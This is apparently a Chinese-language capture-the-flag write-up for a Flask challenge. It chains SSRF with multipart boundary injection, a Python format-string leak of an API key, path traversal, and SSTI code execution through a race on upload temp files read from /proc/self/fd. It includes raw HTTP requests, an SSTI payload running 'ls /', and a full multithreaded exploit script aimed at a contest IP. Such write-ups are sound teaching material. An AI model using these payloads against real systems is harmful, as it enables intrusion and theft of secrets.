注意到 /action 需要本地访问,且 debug 模式下使用 content.format(app),这里可以打 python 格式化字符串漏洞来泄漏出 API_KEY

所以需要在 /heartbeat 打一个 ssrf 到 /action,注意到这里 headers[client] = token 允许我们自定义请求头然后发送 post 请求,可以本地 nc 抓一下正常发送到 /action 的请求为:

POST /action HTTP/1.1
Host: 127.0.0.1:5000
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-httpx/0.28.1
X-Token: 3cfdaad321617c9df34b8c682df97fe44838a065b8e33dd434af2a309e94b743
AAA: BBB
Content-Length: 320

--0dd69a2236f11ddb1d73140d4d5c0e39
Content-Disposition: form-data; name="content"; filename="content"
Content-Type: text/plain

1
--0dd69a2236f11ddb1d73140d4d5c0e39
Content-Disposition: form-data; name="action"; filename="action"
Content-Type: text/json

{"type": "echo"}
--0dd69a2236f11ddb1d73140d4d5c0e39--

那么我们需要注入一个自己的 multipart 包来覆盖 action 参数,通过构造 content 闭合 boundary 即可覆盖,然后 content 参数自身的内容还需要格式化字符串的 payload 来泄漏 API_KEY:

POST /action HTTP/1.1
Host: 127.0.0.1:5000
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-httpx/0.28.1
X-Token: 3cfdaad321617c9df34b8c682df97fe44838a065b8e33dd434af2a309e94b743
Content-Type: multipart/form-data; boundary=a
Content-Length: 405

--a
Content-Disposition: form-data; name="content"; filename="content"
Content-Type: text/plain

{0.view_functions[admin].__globals__[API_KEY]}
--a
Content-Disposition: form-data; name="action"; filename="a.json"
Content-Type: application/json

{"type": "debug"}
--a--

--a
Content-Disposition: form-data; name="action"; filename="action"
Content-Type: text/json

{"type": "echo"}
--a--

这样就能设置 Authorization 头访问 admin 了

/admin 处 os.path.join 中 tmpl 参数可控明显可以目录穿越读取任意文件

@app.route('/admin', methods=['GET'])
def admin():
    token = request.headers.get("Authorization", "")
    if token != API_KEY:
        return 'unauth', 403

    tmpl = request.values.get('tmpl', 'index.html')
    tmpl_path = os.path.join('./templates', tmpl)

    if not os.path.exists(tmpl_path):
        return 'Not Found', 404

    tmpl_content = open(tmpl_path, 'r').read()
    return render_template_string(tmpl_content), 200

但是 flag 的生成方式:

#!/bin/bash

if [ -n "$FLAG" ]; then
    echo "$FLAG" > "/flag-$(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 32).txt"
    unset FLAG
else
    echo "flag{testflag}" > "/flag-$(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 32).txt"
fi

useradd -M ctf

su ctf -c 'cd /app && python app.py'

意味着必须想办法列出目录获取 flag 路径,注意到 render_template_string 此处的 tmpl_content 可以打 ssti,需要找到一个我们能控制内容的文件进行包含,但是 flask 的日志是写在 ByteIO 的,没有文件落地

想起来 p 神之前在 php 中打过临时文件竞争包含的操作,猜测 flask 中上传文件的数据包也会写入到临时文件中,那么这个临时文件的内容我们只能通过爆破 fd 句柄来得知,也就是需要竞争读取

于是尝试在 /heartbeat 上传大文件,把 ssti payload 放在最前面,然后在 /admin 包含 fd 打 ssti

exp:

import requests
import re
import sys
import threading
import time
import os

# BASE_URL = "http://127.0.0.1:25000"
BASE_URL = "http://223.6.249.127:11350"


def leak_api_key():
    print("[*] Leaking API_KEY...")
    boundary = "a"
    payload = (
        f"{{0.view_functions[admin].__globals__[API_KEY]}}\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="action"; filename="a.json"\r\n'
        f"Content-Type: application/json\r\n\r\n"
        f'{{"type": "debug"}}\r\n'
        f"--{boundary}--\r\n")

    if len(payload) > 300:
        print("[-] Payload too long")
        sys.exit(1)

    try:
        r = requests.post(f"{BASE_URL}/heartbeat",
                          data={
                              "text": payload,
                              "client": "Content-Type",
                              "token":
                              f"multipart/form-data; boundary={boundary}"
                          },
                          timeout=5)
    except Exception as e:
        print(f"[-] Leak request failed: {e}")
        # Retry once
        try:
            r = requests.post(f"{BASE_URL}/heartbeat",
                              data={
                                  "text":
                                  payload,
                                  "client":
                                  "Content-Type",
                                  "token":
                                  f"multipart/form-data; boundary={boundary}"
                              },
                              timeout=5)
        except:
            sys.exit(1)

    if r.status_code != 200:
        print(f"[-] Leak failed: {r.status_code}")
        # print(r.text)

    match = re.search(r'([a-f0-9]{64})', r.text)
    if match:
        return match.group(1)

    print("[-] API Key not found")
    # sys.exit(1)
    return None  # For testing without key if needed


def upload_thread(stop_event):
    # Continuously upload large files to /heartbeat.
    # The 'text' param is kept short to pass validation.
    # We add a 'dummy' file field that is large enough to force Werkzeug to write to disk.

    # Payload designed to execute command and reveal flag filename
    ssti_payload = "{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}"

    # Pad payload to ~1MB to ensure temporary file creation
    padding = "A" * (1024 * 1024 * 2)  # 2MB
    full_content = ssti_payload + padding

    while not stop_event.is_set():
        try:
            # We use a file upload for the padding
            files = {'padding': ('p.txt', full_content, 'text/plain')}
            # 'text' must be provided and short
            data = {'text': 'keepalive'}

            # This request will take some time to upload and process
            requests.post(f"{BASE_URL}/heartbeat",
                          data=data,
                          files=files,
                          timeout=2)
        except Exception:
            # Ignore timeouts or errors, we just want to spam uploads
            pass
        # time.sleep(0.01)


def read_thread(api_key, stop_event, fd_range):
    headers = {"Authorization": api_key}

    while not stop_event.is_set():
        for fd in fd_range:
            if stop_event.is_set(): break
            try:
                # Include /proc/self/fd/X
                r = requests.get(
                    f"{BASE_URL}/admin",
                    params={"tmpl": f"../../../../proc/self/fd/{fd}"},
                    headers=headers,
                    timeout=1)

                if r.status_code == 200:
                    text = r.text
                    # Check for execution evidence (e.g., 'bin', 'etc', 'flag-')
                    if "bin" in text and "etc" in text and "flag-" in text:
                        print(f"\n[+] HIT! Found flag info in fd {fd}")
                        # Extract flag filename from ls output
                        m = re.search(r'(flag-[a-f0-9]+\.txt)', text)
                        if m:
                            print(f"[+] Flag Filename: {m.group(1)}")
                            stop_event.set()

                            # Read the actual flag
                            flag_r = requests.get(
                                f"{BASE_URL}/admin",
                                params={"tmpl": f"../../../../{m.group(1)}"},
                                headers=headers)
                            print(f"[+] FLAG CONTENT: {flag_r.text.strip()}")
                            return
            except Exception:
                pass


if __name__ == "__main__":
    key = leak_api_key()
    if not key:
        print("[-] Could not leak key, exiting.")
        sys.exit(1)

    print(f"[+] API_KEY: {key}")

    stop_event = threading.Event()

    # Start uploader threads to keep temp files on disk
    uploaders = []
    for _ in range(4):  # 4 upload threads
        t = threading.Thread(target=upload_thread, args=(stop_event, ))
        t.start()
        uploaders.append(t)

    # Start reader threads to scan FDs
    readers = []
    # Scan FDs 3 to 30 (Docker/Linux usually assigns low FDs)
    # Split execution across threads

    # Thread 1: 3-10
    t1 = threading.Thread(target=read_thread,
                          args=(key, stop_event, range(3, 11)))
    # Thread 2: 11-20
    t2 = threading.Thread(target=read_thread,
                          args=(key, stop_event, range(11, 21)))
    # Thread 3: 21-30
    t3 = threading.Thread(target=read_thread,
                          args=(key, stop_event, range(21, 31)))
    # Thread 4: 7-8 (Focus on likely candidates strongly)
    t4 = threading.Thread(target=read_thread,
                          args=(key, stop_event, [7, 8, 9]))

    readers.extend([t1, t2, t3, t4])
    for t in readers:
        t.start()

    print("[*] Race condition started. Press Ctrl+C to stop...")

    try:
        while not stop_event.is_set():
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Stopping...")
        stop_event.set()

    for t in uploaders + readers:
        t.join(timeout=1)

    print("[*] Done.")